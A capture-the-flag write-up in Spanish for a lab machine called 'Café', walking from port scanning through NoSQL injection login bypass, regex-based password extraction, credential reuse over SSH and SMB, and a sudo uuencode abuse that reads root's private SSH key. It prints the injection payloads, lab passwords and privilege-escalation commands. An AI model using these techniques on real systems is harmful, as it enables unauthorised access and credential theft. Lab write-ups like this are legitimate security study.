Write-ups

Resolución del CTF Café


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.

nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.112
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

Enumeración Web

Accedemos al servicio HTTP y localizamos un panel de autenticación asociado al módulo de reservas.

NoSQL Injection

Interceptamos la petición de autenticación y confirmamos que los parámetros son procesados directamente por el backend. El uso de operadores condicionales permite alterar la lógica de validación.

username[$ne]=test&password[$ne]=test

La respuesta con redirección confirma que el formulario es vulnerable a NoSQL Injection.

Obtención de Credenciales

Enumeración de usuarios

Enumeramos usuarios válidos utilizando condiciones $eq y $ne, identificando respuestas diferenciadas.

username[$eq]=daniel&password[$ne]=test

Obtenemos los usuarios válidos: daniel y kurt.

Extracción de contraseñas

Abusamos del operador $regex para extraer carácter a carácter las contraseñas mediante respuestas 302.

python3 nosqli_bruteforce.py

Credenciales obtenidas:

daniel:P8ymBu8J5QjJYBwuT2
kurt:Q9axatnbX6dXSyM2bG

Acceso Inicial

Accedemos al sistema mediante SSH utilizando las credenciales de kurt.

ssh [email protected]

Movimiento Lateral

Enumeramos el sistema y detectamos acceso al directorio personal de daniel, donde encontramos un repositorio Git.

git config --global --add safe.directory /home/daniel/stock_app/.git
git log --oneline
git show <commit_id>

Extraemos una credencial reutilizable y accedemos como daniel.

su daniel

Enumeración Avanzada

Buscamos archivos pertenecientes a root accesibles por el grupo daniel.

find / -type f -user root -group daniel 2>/dev/null

Localizamos una captura de red y la transferimos para su análisis.

python3 -m http.server 5555
wget http://192.168.0.112:5555/capture.cap

Acceso a Servicios Internos

Del análisis de la captura obtenemos credenciales válidas del usuario sofia, reutilizadas contra el servicio SMB.

smbmap -H 192.168.0.112 -u sofia -p 'KkkTpRS1H2cVBV81ZM'
smbclient //192.168.0.112/finanzas -U sofia
get finanzas.xlsx

Del archivo extraemos credenciales válidas del usuario ana.

ana:g@Y5YSCFt1rd4SEwkm

Escalada de Privilegios

Comprobamos privilegios sudo y detectamos ejecución permitida de uuencode como root.

sudo -l

Abusamos de uuencode para leer la clave privada de root.

sudo uuencode /root/.ssh/id_rsa /dev/stdout | uudecode

Importamos la clave y accedemos como root.

chmod 600 id_rsa
ssh -i id_rsa [email protected]

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *